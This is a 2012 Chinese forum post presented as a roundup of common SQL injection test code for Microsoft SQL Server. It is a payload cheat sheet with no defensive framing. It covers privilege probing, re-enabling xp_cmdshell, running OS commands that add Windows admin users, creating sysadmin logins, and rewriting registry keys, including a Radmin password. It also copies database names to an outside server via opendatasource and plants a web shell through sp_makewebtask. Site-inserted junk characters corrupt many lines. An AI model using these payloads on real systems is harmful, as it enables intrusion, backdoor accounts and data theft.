a我考网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 195|回复: 1

[考试辅导] 微软辅导:常用SQL注入漏洞测试代码汇总

[复制链接]
发表于 2012-8-3 00:05:24 | 显示全部楼层 |阅读模式
//看看是什么权限的
, [/ S$ X3 p5 v7 }# S    and 1=(Select IS_MEMBER('db_owner'))
( @% Z, K8 m: s% x0 D8 ]    And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--- l+ E0 x% c3 I: {
    //检测是否有读取某数据库的权限
9 ^4 K* U/ L. f# O6 |9 N  ]8 ?; i. \    and 1= (Select HAS_DBACCESS('master'))( _) A/ b1 o9 p6 e) i% H3 t/ H' {
    And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
+ k1 e2 Z& h5 W5 m8 z    数字类型2 |# ^5 |9 p/ P& Y+ F
    and char(124)%2Buser%2Bchar(124)=0& e  d9 D6 H7 `$ I
    字符类型0 D- a! P2 q2 V1 H5 X4 S5 h# L! ?
    ' and char(124)%2Buser%2Bchar(124)=0 and ''='
$ w1 ?( E  }( x1 H. P$ w2 A$ X; Z, l    搜索类型
# J& a! r; N' T! c% l& }    ' and char(124)%2Buser%2Bchar(124)=0 and '%'=': y& M: F, G7 E
    爆用户名3 V2 \4 P+ v4 Y8 e3 L9 G7 \  s
    and user>0$ k9 g9 f" b+ i4 O, Y
    ' and user>0 and ''='
. ~9 V) D1 H; J* @% n6 c) Z0 k: D    检测是否为SA权限
1 u) N4 e$ k0 C* X: a    and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ F' v( s% L" c6 M2 g    And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
5 c: M9 V& p! @' j    检测是不是MSSQL数据库6 K$ k6 g* [8 {; R$ P
    and exists (select * from sysobjects);--
0 O, d4 P# A9 \    检测是否支持多行2 c% z: `& [- G1 M& b+ Y
    ;declare @d int;--
" m+ o- I  S  E) ^    恢复 xp_cmdshell
2 X8 o2 r: e0 R8 e& r# [; y- N3 G    ;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
( V5 ]/ _1 A9 d) p: m3 p3 Q    select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
7 Z# r  i$ o9 c0 o5 s" O  f, y1 K    //-----------------------
- f( Y; V% o" q5 j* m+ z5 `    // 执行命令
2 a2 ]1 V, _3 k3 q* O* b0 m  N    //-----------------------( `' Z/ N' C7 E  F* l9 {- z
    首先开启沙盘模式:7 K" A" u( r) w- T2 G
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
9 O* f1 S* F0 |6 o. `  _) C" e/ P    然后利用jet.oledb执行系统命令
  T7 h9 e9 C5 H6 F5 |* Q8 v    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
. }7 N' K8 x1 n    执行命令4 H8 F$ Z# t% c3 Q4 c7 W
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--; ]& N2 @+ @( I1 o4 D, \
    EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'0 V& `  p2 P" W. B9 v8 K
    判断xp_cmdshell扩展存储过程是否存在:0 e' S0 c. }' P' Q# ]3 w1 a1 t& s5 ~" W
    http://www.0daynet.com/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')6 S) V5 D% j9 _3 u/ G9 F
    写注册表
, v8 a* I; I( i, P1 |3 Z    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1- o! v2 C/ Y0 P: b- z8 N
    REG_SZ
) E- I& I; v0 P  s) C1 d    读注册表
回复

使用道具 举报

 楼主| 发表于 2012-8-3 00:05:25 | 显示全部楼层

微软辅导:常用SQL注入漏洞测试代码汇总

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
) u, ]/ e/ L3 A% r8 i    读取目录内容  b" K9 b' l$ T7 E' D8 r
    exec master..xp_dirtree 'c:\winnt\system32\',1,1/ J! R1 R* [8 E. U3 p  l
    数据库备份" t2 R- n# I* ^
    backup database pubs to disk = 'c:\123.bak'
9 @7 l  Q  r( v    //爆出长度, q- K. S  _6 m3 @7 H
    And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--2 e2 F8 ^" S7 I8 b3 E2 L1 b# }
    更改sa口令方法:用sql综合利用工具连接后,执行命令:
. z+ ]; V- `! f# w    exec sp_password NULL,'新密码','sa'[nextapge]& l5 Y' x1 Y9 I' S
    添加和删除一个SA权限的用户test:9 w. |+ [: a, w5 P" Y
    exec master.dbo.sp_addlogin test,ptlove
9 i- M& u: U% X9 W    exec master.dbo.sp_addsrvrolemember test,sysadmin
! R& h# W8 o) ^* P    删除扩展存储过过程xp_cmdshell的语句:
% P+ b" }. s& x5 @% B: k, N8 ^- ~    exec sp_dropextendedproc 'xp_cmdshell'7 T9 v: ]# _+ G' C2 s
    添加扩展存储过过程
8 \7 x' ^9 |) x4 K    EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
) e! ?% b/ Q% i' {$ o# _/ a6 T    GRANT exec On xp_proxiedadata TO public
6 q$ M' `/ K3 g0 j6 F$ D; m4 Z    停掉或激活某个服务。
& ~# I$ q2 B* L* [    exec master..xp_servicecontrol 'stop','schedule'
; f$ E; v/ T& v    exec master..xp_servicecontrol 'start','schedule'# Q$ ?8 ?7 ]2 V, N+ q1 n
    dbo.xp_subdirs7 v$ @% S' C) U4 u4 b3 a
    只列某个目录下的子目录。2 f9 A% X0 t: D0 ?  d4 m8 ~
    xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
  s7 j& C" I3 V. C/ ]" N  h. r    dbo.xp_makecab
6 v9 Y$ E+ E7 |    将目标多个档案压缩到某个目标档案之内。/ C! h/ ^/ v" p! M- d6 Q0 K1 R# B& u
    所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
5 S0 Y  p" i6 S/ q& |3 a8 U    dbo.xp_makecab
% X+ Z, {6 V. J% |  _7 P    'c:\test.cab','mszip',1,0 u, @8 U) A( o, H9 Z
    'C:\Inetpub\wwwroot\SQLInject\login.asp',) Z& L( w2 H2 T& Q0 k2 H0 f
    'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
, @/ S8 c  g4 A  a    xp_terminate_process
5 T+ p1 d& W# S( Y7 q( _    停掉某个执行中的程序,但赋予的参数是 Process ID。$ t! D& N  p8 v0 p( O+ U
    利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID- F* [- z$ G/ B. @1 S
    xp_terminate_process 2484
4 U2 m% x+ k' X& W5 _; M, V    xp_unpackcab
% O9 A4 `0 ^% u. E$ ]" A! A    解开压缩档。& c7 ^* I; F# f0 M
    xp_unpackcab 'c:\test.cab','c:\temp',1
# t/ X6 K& B& z! }* U: _    某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
" A* O1 r3 \, F4 ^    create database lcx;9 ]: v9 a7 g2 C. z5 Y" _4 I
    Create TABLE ku(name nvarchar(256) null);
5 ?6 |5 t# U+ F3 M' \# ]* @    Create TABLE biao(id int NULL,name nvarchar(256) null);, X8 [; Z( |5 ?
    //得到数据库名
# s, J0 N. `8 Y6 w+ W7 D3 Q% s    insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
0 w, h6 p0 q' o8 g2 j+ J    //在Master中创建表,看看权限怎样
( o2 Q7 k9 Q% E% j  a( G+ V    Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
7 _2 M3 J, X8 q/ I9 m' D; P    用 sp_makewebtask直接在web目录里写入一句话马:2 w) G2 M) U  [6 x9 ^6 ^
    <A href="http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''''%20'">http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''''%20';--
/ k/ @( r5 H# [6 D    //更新表内容
. l5 x7 K, t7 A    Update films SET kind = 'Dramatic' Where id = 1233 z# Q  g% J0 n) x
    //删除内容
5 o, j, E/ f4 e; w  o" j    delete from table_name where Stockid = 3
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Woexam.Com ( 湘ICP备18023104号 )

GMT+8, 2024-5-10 15:56 , Processed in 0.172586 second(s), 23 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表